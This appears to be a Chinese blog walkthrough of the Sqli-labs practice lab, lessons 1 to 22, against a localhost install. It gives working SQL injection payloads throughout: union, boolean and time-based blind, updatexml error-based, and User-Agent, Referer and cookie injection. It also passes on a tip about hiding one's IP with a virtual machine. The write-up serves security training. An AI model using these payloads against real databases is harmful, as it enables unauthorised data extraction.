Sqli-labs實(shí)驗(yàn)Task1(less1-22)

Sqli-lab實(shí)驗(yàn)Task1(less1-22)

源碼下載

直接貼上github地址:https://github.com/Audi-1/sqli-labs

環(huán)境搭建

  1. 直接下載一個(gè)phpstudy扫皱,當(dāng)然使用其他的一鍵環(huán)境搭建也行,我比較推薦phpstudy楣黍。
  2. 把下載好的sqli-lab文件放入對(duì)應(yīng)的www即網(wǎng)站根目錄下就可纷宇,最后修改sql-connections/db-creds.inc文件當(dāng)中的mysql賬號(hào)密碼贞言。
  3. 開啟phpstudy妄田,將user和pass修改你的mysql 的賬號(hào)和密碼,訪問127.0.0.1的頁面哩陕,點(diǎn)擊
    setup/reset database for lab進(jìn)行安裝數(shù)據(jù)庫的創(chuàng)建,至此赫舒,安裝結(jié)束悍及。我們就可以開始了。

攻關(guān)開始

Less-1

判斷是否存在注入:

$ http://127.0.0.1/sqli-labs-master/Less-1/?id=1](http://127.0.0.1/sqli-labs-master/Less-1/?id=1)'

即加一個(gè)單引號(hào)閉合一下變量試一試接癌。


image.png

可以看到報(bào)錯(cuò)了心赶,我們可以猜測(cè)在id傳參過程中使用的就是id={’$id’}這種方法。然后進(jìn)行注入缺猛。
猜測(cè)字段數(shù):

$ http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order by 3 -- #

后面的-- #是兩個(gè)注釋缨叫,mysql中有-- (注意兩杠后面有一個(gè)空格)和#兩種注釋方法,我的習(xí)慣是兩種都加荔燎,防止有過濾耻姥。也可以不使用過濾,但是需將最后還存在的一個(gè)單引號(hào)進(jìn)行閉合防止出錯(cuò)有咨。
獲取數(shù)據(jù)庫名琐簇,數(shù)據(jù)庫用戶等信息:

$ http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,database(),user()  -- #
image.png

可以看到已經(jīng)獲取到了敏感的信息了,注意此時(shí)因?yàn)榍懊鎴?bào)錯(cuò)可以看到有l(wèi)imit 0,1我們可以知道此處如果需要輸出我們union查詢出的信息要將前面的位占了座享,即使前面的輸出為不存在婉商。可以看到我是將id的值寫為負(fù)值渣叛,然后將輸出的位置就讓給了后面我們需要輸出的信息丈秩,這個(gè)技巧在有輸出限制的時(shí)候十分重要。
然后還有一點(diǎn)淳衙,我們上面猜測(cè)出了字段數(shù)為3蘑秽,但這里輸出的只有2個(gè)挽唉,所以我們union查詢要保證字段數(shù)一樣,不足的補(bǔ)數(shù)字筷狼,或者null瓶籽。然后第一個(gè)是沒有輸出的,所以我將需要輸出的寫在了后面兩個(gè)埂材。
接下來的一些注入就很簡(jiǎn)單了塑顺,利用mysql自帶的information_schema便可以得到很多我們需要的數(shù)據(jù)了,進(jìn)行脫褲俏险。這里可以利用information_schema這個(gè)庫的原因是我們是root權(quán)限严拒,如果不是root權(quán)限,只對(duì)指定數(shù)據(jù)庫存在一定的權(quán)限竖独,這時(shí)我們就要結(jié)合盲注進(jìn)行測(cè)試了裤唠。盲注的話則需要利用工具來輔助,如sqlmap等莹痢。

Less-2

判斷是否存在注入:

$ http://127.0.0.1/sqli-labs-master/Less-2/?id=1](http://127.0.0.1/sqli-labs-master/Less-2/?id=1)'

看看這一次的報(bào)錯(cuò)和上一次的有什么不一樣


image.png

這次的報(bào)錯(cuò)是:’’ LIMIT 0,1 ‘
可以看到這里第一個(gè)和最后一個(gè)單引號(hào)是語句里面的种蘸,中間一個(gè)使我們寫入的,而且剛好是成對(duì)的竞膳,所以猜測(cè)這里的id是沒有符號(hào)擴(kuò)起來的航瞭。語句可能為id={$id},所以我們之間在后面寫入語句坦辟。
猜測(cè)字段數(shù):

$ http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3

獲取數(shù)據(jù)庫名刊侯,數(shù)據(jù)庫用戶等信息:

$  http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,database(),user() -- #

這個(gè)較為簡(jiǎn)單,比上一個(gè)還為簡(jiǎn)單锉走。結(jié)合上面一個(gè)的來分析看看滨彻,一般傳參id為int型都是沒有符號(hào)閉合。

Less-3

判斷是否存在注入:

$  http://127.0.0.1/sqli-labs-master/Less-3/?id=1'

查看報(bào)錯(cuò):


image.png

分析報(bào)錯(cuò)情況挪蹭,這里是有一個(gè)括號(hào)5個(gè)單引號(hào)亭饵,其中一個(gè)是我們寫入的,所以閉合應(yīng)該是利用單引號(hào)和括號(hào)進(jìn)行閉合的嚣潜。繼續(xù)進(jìn)行測(cè)試冬骚。
猜測(cè)字段數(shù):

$  http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 3 -- #

獲取數(shù)據(jù)庫名,數(shù)據(jù)庫用戶等信息:

$  http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,database(),user() -- #

后面的可以繼續(xù)嘗試注入懂算。

Less-4

判斷是否存在注入:

$  http://127.0.0.1/sqli-labs-master/Less-4/?id=1'

我的天只冻,這次竟然沒有報(bào)錯(cuò)!沒事?lián)Q一個(gè):

$  http://127.0.0.1/sqli-labs-master/Less-4/?id=1”

這次報(bào)錯(cuò)了:


image.png

報(bào)錯(cuò)是:'"1"") LIMIT 0,1'
分析可知這個(gè)的傳參是被括號(hào)和雙引號(hào)閉合的计技。繼續(xù):
猜測(cè)字段數(shù):

$  http://127.0.0.1/sqli-labs-master/Less-4/?id=1")  order by 3 -- #

獲取數(shù)據(jù)庫名喜德,數(shù)據(jù)庫用戶等信息:

$  http://127.0.0.1/sqli-labs-master/Less-4/?id=-1")  union select 1,database(),user() --  #

繼續(xù)可以自己進(jìn)行嘗試。

Less-5

這個(gè)頁面我們先說一下垮媒,無論我們id傳的是多少舍悯,頁面顯示的都是YOU ARE IN……..沒有輸出:嚼狻!萌衬!那我們?cè)趺传@取我們需要的數(shù)據(jù)信息R肌!秕豫!這個(gè)時(shí)候就只能盲注了朴艰,利用盲注來獲取信息。
判斷是否存在注入:

$  http://127.0.0.1/sqli-labs-master/Less-5/?id=1'

報(bào)錯(cuò)了less-1一樣混移,可知sql語句應(yīng)該是一樣的所以我們可以利用一樣的注入語句:
猜測(cè)字段數(shù):

$  http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 3 -- #

頁面返回YOU ARE IN……..說明正常祠墅,報(bào)錯(cuò)了就說明不對(duì)。接下來因?yàn)闆]有輸出所以我們進(jìn)行盲注歌径,根據(jù)返回有沒有報(bào)錯(cuò)來判斷我們的語句是否正確毁嗦。
一些簡(jiǎn)單的:

$  http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and length(user())>0  -- # //判斷是否為mysql
$  http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid(user(),1,1))=114  -- #
$  //返回正常說明數(shù)據(jù)庫權(quán)限為root

獲取敏感數(shù)據(jù)信息:

$  http://127.0.0.1/sqli-labs-master/Less-5/?id=1' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database()  AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))>105 -- #

我們來看一下這個(gè)語句的原理:
首先是ord函數(shù),mysql中ord和ascii函數(shù)一樣是將字符轉(zhuǎn)換為ascii碼回铛。
然后mid函數(shù)和substring一樣是截取字符串的指定位置的字符的函數(shù)狗准,比如上面我們mid(string,6,1)表示截取string這個(gè)字符串的第六位開始截取一個(gè)。然后中間是獲取我們當(dāng)前的數(shù)據(jù)庫名勺届,并轉(zhuǎn)換為字符(as char)后面的0x20十六進(jìn)制ascii表示空格驶俊。
最后利用獲取到的acsii碼和我們指定的ascii進(jìn)行對(duì)比來一個(gè)一個(gè)獲取我們的想要的信息。比如我們這里和105對(duì)比免姿,如果正確就繼續(xù)猜,可利用二分法猜解效率更高榕酒。這里我們可以嘗試看到=105時(shí)返回正常胚膊,說明當(dāng)前數(shù)據(jù)庫名的第六個(gè)字符就是105,查詢表可知就是i想鹰。和前面得出的數(shù)據(jù)庫名對(duì)比:security
接下來可以利用返回的正確與否來一步一步猜解出我們所需要的信息紊婉。但是這樣往往很耗費(fèi)時(shí)間,手工來基本不太可能辑舷,所以一般都是利用工具來可以利用sqlmap喻犁。這里主要講的是手工,所以就不演示了何缓。

Less-6

判斷是否存在注入

$  http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and sleep(5)  -- #

這里利用了sleep函數(shù)肢础,基于時(shí)間的盲注。我們可以看到使用sleep函數(shù)后網(wǎng)站延遲了5秒說明我們插入的語句被執(zhí)行了碌廓。存在注入传轰。
這里就說說mysql中的sleep函數(shù)在注入中的作用,一般在頁面說明一點(diǎn)返回都沒有谷婆,所以語句都無返回的時(shí)候就會(huì)利用到sleep這個(gè)函數(shù)來確定我們的語句有沒有被執(zhí)行慨蛙。一般基于布爾的盲注比基于時(shí)間的盲注少見很多辽聊。
Less-6和less-5基本相同,只是閉合用的符號(hào)不同期贫。所以就不多說了跟匆。

Less-7

判斷注入:

$   http://127.0.0.1/sqli-labs-master/Less-7/?id=3'

我們可以發(fā)現(xiàn)只有在加單引號(hào)后報(bào)錯(cuò),但是這次后臺(tái)對(duì)報(bào)錯(cuò)進(jìn)行了處理通砍,使我們無法從報(bào)錯(cuò)中得出敏感的信息贾铝,所有錯(cuò)誤都顯示語法錯(cuò)誤。但是我們發(fā)現(xiàn)只有在加單引號(hào)后報(bào)錯(cuò)埠帕,加雙引號(hào)或者其他的都不報(bào)錯(cuò)垢揩,所有這個(gè)單引號(hào)肯定有問題,我們利用單引號(hào)進(jìn)行進(jìn)一步注入:

$   http://127.0.0.1/sqli-labs-master/Less-7/?id=3' and sleep(5) -- #

發(fā)現(xiàn)還是錯(cuò)誤敛瓷,我感到十分奇怪叁巨,于是沒有利用過濾,而是構(gòu)造語句將后面的遺留的一個(gè)單引號(hào)閉合進(jìn)行測(cè)試:

$   http://127.0.0.1/sqli-labs-master/Less-7/?id=3' and sleep(5) or 'a'='a

返回正常呐籽,并且瀏覽器睡眠5s锋勺,說明語句執(zhí)行成功。這時(shí)候應(yīng)該可以猜測(cè)應(yīng)該是注釋的符號(hào)被過濾的狡蝶,我換url編碼也不行庶橱。所以這里不能繼續(xù)使用注釋,需要自己構(gòu)造將后面的單引號(hào)進(jìn)行閉合贪惹。
獲取敏感數(shù)據(jù)信息:

$   http://127.0.0.1/sqli-labs-master/Less-7/?id=3' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database()  AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 and 'a'='a

正常返回苏章,之后的注入就和之前的一樣了。

Less-8

這一個(gè)和第七個(gè)其實(shí)差不多奏瞬,主要就是把報(bào)錯(cuò)全部過濾了枫绅,如果錯(cuò)誤就沒有返回,正確就返回you are in……但是其實(shí)都一樣硼端,兩個(gè)不同的返回我們就可以利用基于布爾的盲注進(jìn)行測(cè)試:
判斷是否存在注入:

$    http://127.0.0.1/sqli-labs-master/Less-8/?id=3'

加單引號(hào)之后返回空白并淋,說明報(bào)錯(cuò),然后繼續(xù)測(cè)試:

$    http://127.0.0.1/sqli-labs-master/Less-8/?id=3' and sleep(5)  -- #

這次可以使用注釋珍昨。县耽。。
獲取敏感數(shù)據(jù)信息:

$   http://127.0.0.1/sqli-labs-master/Less-8/?id=3'  AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database()  AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105  -- # 

Less-9

哇镣典,這一次很厲害了兔毙,無論輸入什么返回都是一樣的。

$    http://127.0.0.1/sqli-labs-master/Less-9/?id=3'

但是肯定是有注入的骆撇,這個(gè)測(cè)試肯定是無論輸出什么直接一個(gè)echo瞒御。。所以我們使用sleep看看:

$    http://127.0.0.1/sqli-labs-master/Less-9/?id=3' and sleep(5) and 'a'='a
$    http://127.0.0.1/sqli-labs-master/Less-9/?id=3' and sleep(5) -- #

果然神郊,一次就中肴裙,很穩(wěn)趾唱。還是存在注入的只是無法根據(jù)返回來判斷,這就是典型的需要利用時(shí)間盲注的案例了蜻懦。進(jìn)一步獲取信息:
獲取敏感數(shù)據(jù)信息:

$    http://127.0.0.1/sqli-labs-master/Less-9/?id=3'   AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database()  AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 and sleep(5)  -- #

這個(gè)時(shí)候所以語句后面都必須加一個(gè)sleep函數(shù)根據(jù)相應(yīng)時(shí)間來判斷我們的語句是否正確甜癞。一般sleep的時(shí)間是傳輸時(shí)間來回的兩倍。一般取5s宛乃∮圃郏可以看到我們上面這個(gè)語句執(zhí)行的時(shí)候相應(yīng)了5s,說明我們猜測(cè)正確征炼,如果換為=106則可以看到很快返回析既,說明我們的語句猜測(cè)錯(cuò)誤。
可以看到我們time-base的耗時(shí)是很長(zhǎng)了
往往獲取一兩kb的數(shù)據(jù)我們要好幾個(gè)小時(shí)甚至好幾天谆奥,所以這個(gè)時(shí)候我們就要選擇重要的數(shù)據(jù)進(jìn)行獲取了眼坏,比如admin表里的username,password一類的數(shù)據(jù)了酸些。

Less-10

第十個(gè)只是換了個(gè)符號(hào)
檢查是否存在注入:

$   http://127.0.0.1/sqli-labs-master/Less-10/?id=3" and sleep(5)  -- #

然后獲取敏感數(shù)據(jù):

$   http://127.0.0.1/sqli-labs-master/Less-10/?id=3" AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database()  AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 and sleep(5)  -- #

Ok了宰译,和第九個(gè)基本一樣。

Less-11

到了第11個(gè)就出新花樣了魄懂,可以看到這次是登錄框的注入沿侈。我們嘗試一下萬能密碼
但是登錄之后就刷新了不知道有沒有成功,于是我們假設(shè)成功然后進(jìn)一步測(cè)試使用order by市栗。


image.png

可以看到原來在下面有一個(gè)報(bào)錯(cuò)框缀拭,這就很方便了我們繼續(xù)猜測(cè)字段數(shù)發(fā)現(xiàn)order by 2的時(shí)候直接刷新情況說明就是 正確的了。字段數(shù)2肃廓,然后我們嘗試進(jìn)一步獲取敏感信息智厌,這時(shí)候也只能利用盲注,因?yàn)闆]有返回:


image.png

如圖盲赊,username利用萬能密碼繞過,然后下面的使用:
image.png

和之前的注入一樣敷扫,只不過一個(gè)是get一個(gè)是post哀蘑,注入的地點(diǎn)不一樣了而已。也可以換一下使用username的框注入葵第。只不過post的sleep的話會(huì)慢一點(diǎn)绘迁。

Less-12

這一次發(fā)現(xiàn)有點(diǎn)不一樣我們,沒事繼續(xù)看看報(bào)錯(cuò):


image.png

顯示的語法錯(cuò)誤處是:'order by 3 -- #") LIMIT 0,1'
可以猜測(cè)出閉合的類型需(“”)
繼續(xù):


image.png

好了卒密!成功了缀台,之后其實(shí)都一樣了,就不演示了哮奇。

Less-13

這個(gè)和上一個(gè)差不多:


image.png

單引號(hào)加括號(hào)膛腐!

Less-14

首先看看有沒有報(bào)錯(cuò)睛约,然后利用報(bào)錯(cuò)寫植入語句,發(fā)現(xiàn)無論怎么寫都沒有報(bào)錯(cuò)哲身,不存在報(bào)錯(cuò)辩涝,那就繼續(xù)使用sleep或者用order by測(cè)試看看:


image.png

發(fā)現(xiàn)過濾報(bào)錯(cuò)并沒有過濾完全,還是存在報(bào)錯(cuò)的勘天,所以看出有注入點(diǎn)怔揩。接著進(jìn)行注入。


image.png

Sleep函數(shù)也成功執(zhí)行脯丝!
敏感信息查詢:

這個(gè)也和上面的一樣商膊,只不過單引號(hào)換成了雙引號(hào),記住加sleep不然不能判斷猜解是否正確宠进。

Less-15

這個(gè)同樣沒有報(bào)錯(cuò)晕拆,只能進(jìn)行手工進(jìn)行猜測(cè),利用sleep函數(shù)進(jìn)行測(cè)試砰苍。
實(shí)驗(yàn)發(fā)現(xiàn)這個(gè)注入和less-11的語句是一樣的只不過沒有報(bào)錯(cuò)潦匈,所以按less-11的注入語句即可。


image.png

使用下面的語句判斷:

$   ' or 1=1 and  length(user())>0 and sleep(5) -- #
$   ' or 1=1 AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database()  AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 and sleep(5)  -- #

Sleep了5s的時(shí)間赚导。

Less-16

這個(gè)很挺難猜的茬缩。不過也就幾個(gè)組合,括號(hào)+單引號(hào)吼旧,括號(hào)+雙引號(hào)凰锡,單引號(hào),雙引號(hào)圈暗。手工的話一般多猜解幾次就可以猜出來的掂为。


image.png

其他的就和之前的差不多了,注入語句稍微替換一下就行员串!

Less-17

這一個(gè)就有一些不一樣了勇哗,可以看到首頁顯示的是[PASSWORD RESET]密碼重置,寸齐。嘗試一個(gè)萬能密碼和注入檢查試試:


image.png

image.png

哇欲诺,還被罵是辣雞hacker,很難受渺鹦。我們重新理一下思路扰法,重置密碼就是更新數(shù)據(jù)庫里面的數(shù)據(jù),這時(shí)候往往使用的是update語句毅厚,所以這時(shí)候我們使用之前的語句可能就會(huì)出錯(cuò)塞颁。
我們來猜測(cè)一下這個(gè)頁面的sql語句是:update table set password=’newpassword’ where username = ‘name’;所以我們先猜測(cè)一個(gè)username然后進(jìn)行后續(xù)的測(cè)試。
我們隨機(jī)輸入一個(gè)比如admin密碼123456后提示密碼更改成功,然后進(jìn)一步嘗試祠锣,用戶名為admin在密碼處進(jìn)行注入:

$   ' or 1=1 and sleep(5) -- #
image.png

Ok酷窥,可以看到成功注入了,這個(gè)時(shí)候利用盲注猜解來獲取數(shù)據(jù)信息啦锤岸!
在實(shí)戰(zhàn)過程中密碼重置是一個(gè)很有可能出現(xiàn)sql注入漏洞的地方竖幔,所以之后可以重點(diǎn)關(guān)注!

Less-18

這個(gè)一進(jìn)來就看到了ip是偷,這個(gè)很可怕拳氢,所以我們?cè)谧鰷y(cè)試的時(shí)候注意,很多時(shí)候我們的ip是會(huì)被監(jiān)測(cè)的蛋铆,所以盡量用虛擬機(jī)馋评,anyway,想辦法避免不必要的麻煩刺啦。廢話不多說留特,繼續(xù)測(cè)試.
但是我發(fā)現(xiàn)我試了很多方法都不行,卡了挺久的玛瘸,無論是編碼轉(zhuǎn)換繞過還是寬字節(jié)注入都不行蜕青,最后實(shí)在不行先成功登陸了一個(gè)看一下,發(fā)現(xiàn)登陸成功后有這個(gè)提示框:


image.png

思考思考糊渊,意思就是這里有輸出的右核,your user agent。AgentC烊蕖贺喝!好像挺熟悉的,在結(jié)合這個(gè)測(cè)試的題目叫header injection宗兼。是不是可以抓包沖user-agent來注入躏鱼,然后輸出我們需要的信息!R笊堋H究痢!直接用burpsuite來試試:
登陸一個(gè)正確的用戶主到,然后bp抓包更改user-agent為:

$   ' and updatexml(1,concat(0x3a,database()),1))#

這里輸出三個(gè)的原因是我們useragent里面有三個(gè)字段殖侵,用前后兩個(gè)1來占位輸出。Concat是字符串連接的函數(shù)镰烧,0x3a是:的十六進(jìn)制。
看看結(jié)果:


image.png

可以看到我們查詢的database()已經(jīng)被輸出出來了±阆荩現(xiàn)在我們可以利用這個(gè)輸出我們想要獲取的信息了怔鳖。至于這個(gè)注入產(chǎn)生的原因我們可以看一下源碼:


image.png

可以看到因?yàn)槲覀冞@里把我們登陸獲取的user-agent信息給輸入進(jìn)了數(shù)據(jù)庫,而這里的代碼對(duì)我們傳入的參數(shù)沒有經(jīng)過任何過濾或者檢驗(yàn)固蛾。大家也可以看一下登錄框的檢驗(yàn)结执,利用了php中的很多檢驗(yàn)函數(shù)度陆,mysql_real_escape_string這個(gè)函數(shù)。然后檢驗(yàn)主要是check_input這個(gè)函數(shù)献幔,有興趣的同學(xué)可以研究一下懂傀!

Less-19

這個(gè)有上面的經(jīng)驗(yàn)就不把目標(biāo)放在登錄框,我們先看看成功登陸的顯示情況:


image.png

返回的是url蜡感,很穩(wěn)蹬蚁,很明顯了我們的注入點(diǎn)就是頭部的Referer部分,繼續(xù)抓包重發(fā)一下:

$  ' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema="security" limit 0,1)),1))#  //獲取表名
$  ' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name="user" limit 0,1)),1))#     //獲取指定表字段名

先講一下語句郑兴,利用mysql自帶的information_schema數(shù)據(jù)庫獲取數(shù)據(jù)犀斋,注意一定要加limit限制,因?yàn)橹荒芤淮我粋€(gè)數(shù)據(jù)情连,否則會(huì)報(bào)錯(cuò)叽粹。
查看結(jié)果:


image.png

后面的也不多說啦,大家可以自己嘗試却舀。

Less-20

繼續(xù)登陸一個(gè)正確的用戶看看:


image.png

我以為次會(huì)沒有輸出的虫几,但是很意外,這次輸出的數(shù)據(jù)有點(diǎn)多挽拔,但是很明顯這次cookie就是目標(biāo)了辆脸。看到提示cookie里面的信息有uname還有時(shí)間篱昔。Post傳輸?shù)臄?shù)據(jù)都在cookie里面每强,這次有點(diǎn)不一樣,先登錄州刽,然后刷新空执,抓包:


image.png

更改的是圖中指出的部分!我們構(gòu)造一下語句穗椅,其實(shí)這里就很好注入了辨绊,就和之前的注入語句一樣:
$  uname=qwe' union select 1,user(),database()-- #

其實(shí)語句大家應(yīng)該都很熟悉了。匹表。门坷。看結(jié)果:


image.png

好了袍镀,接下來就很簡(jiǎn)單了默蚌。

Less-21

奮戰(zhàn)奮戰(zhàn)!苇羡!
看看登陸信息:


image.png

這次的uname很奇怪绸吸,但是老司機(jī)一看就知道是編碼轉(zhuǎn)換之后的,所以試一試。果然是base64編碼锦茁,所以這個(gè)其實(shí)和上一個(gè)差不多攘轩,只不過注入的時(shí)候轉(zhuǎn)換一下編碼就可以了!
這個(gè)的是利用單引號(hào)和括號(hào)閉合的码俩,多嘗試一下根據(jù)報(bào)錯(cuò)就會(huì)知道度帮,這之前就說過所以不重復(fù)了。
抓包:


image.png

更改cookies就可以稿存。
注入語句:
$  cXdlJykgdW5pb24gc2VsZWN0IDEsdXNlcigpLGRhdGFiYXNlKCktLSAj
$  //就是20題的qwe') union select 1,user(),database()-- #

抓包重發(fā):


image.png

出來了笨篷。

Less-22

先看看登陸情況,發(fā)現(xiàn)和上一個(gè)一樣挠铲,所以沒什么新奇的冕屯,寫語句base64轉(zhuǎn)換一下,然后根據(jù)報(bào)錯(cuò)猜測(cè)應(yīng)該是雙引號(hào)閉合的拂苹,所以其他都很簡(jiǎn)單了安聘。
語句:

$   InVuaW9uIHNlbGVjdCAxLHVzZXIoKSxkYXRhYmFzZSgpIw==
$   //“union select 1,user(),database()#

看結(jié)果:


image.png

好了。

結(jié)語

Task1就結(jié)束了因?yàn)檫€有其他任務(wù)所以后面的一些可能晚一點(diǎn)寫了上傳瓢棒,如果有問題可以找我啊浴韭,一起學(xué)習(xí)!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末脯宿,一起剝皮案震驚了整個(gè)濱河市念颈,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌连霉,老刑警劉巖榴芳,帶你破解...
    沈念sama閱讀 206,378評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異跺撼,居然都是意外死亡窟感,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,356評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門歉井,熙熙樓的掌柜王于貴愁眉苦臉地迎上來柿祈,“玉大人,你說我怎么就攤上這事哩至□锖浚” “怎么了?”我有些...
    開封第一講書人閱讀 152,702評(píng)論 0 342
  • 文/不壞的土叔 我叫張陵菩貌,是天一觀的道長(zhǎng)卢佣。 經(jīng)常有香客問我,道長(zhǎng)箭阶,這世上最難降的妖魔是什么珠漂? 我笑而不...
    開封第一講書人閱讀 55,259評(píng)論 1 279
  • 正文 為了忘掉前任晚缩,我火速辦了婚禮,結(jié)果婚禮上媳危,老公的妹妹穿的比我還像新娘。我一直安慰自己冈敛,他們只是感情好待笑,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,263評(píng)論 5 371
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著抓谴,像睡著了一般暮蹂。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上癌压,一...
    開封第一講書人閱讀 49,036評(píng)論 1 285
  • 那天仰泻,我揣著相機(jī)與錄音,去河邊找鬼滩届。 笑死集侯,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的帜消。 我是一名探鬼主播棠枉,決...
    沈念sama閱讀 38,349評(píng)論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼泡挺!你這毒婦竟也來了辈讶?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 36,979評(píng)論 0 259
  • 序言:老撾萬榮一對(duì)情侶失蹤娄猫,失蹤者是張志新(化名)和其女友劉穎贱除,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體媳溺,經(jīng)...
    沈念sama閱讀 43,469評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡月幌,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,938評(píng)論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了褂删。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片飞醉。...
    茶點(diǎn)故事閱讀 38,059評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖屯阀,靈堂內(nèi)的尸體忽然破棺而出缅帘,到底是詐尸還是另有隱情,我是刑警寧澤难衰,帶...
    沈念sama閱讀 33,703評(píng)論 4 323
  • 正文 年R本政府宣布钦无,位于F島的核電站,受9級(jí)特大地震影響盖袭,放射性物質(zhì)發(fā)生泄漏失暂。R本人自食惡果不足惜彼宠,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,257評(píng)論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望弟塞。 院中可真熱鬧凭峡,春花似錦、人聲如沸决记。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,262評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽系宫。三九已至索昂,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間扩借,已是汗流浹背椒惨。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評(píng)論 1 262
  • 我被黑心中介騙來泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留潮罪,地道東北人康谆。 一個(gè)月前我還...
    沈念sama閱讀 45,501評(píng)論 2 354
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像错洁,于是被迫代替她去往敵國(guó)和親秉宿。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,792評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容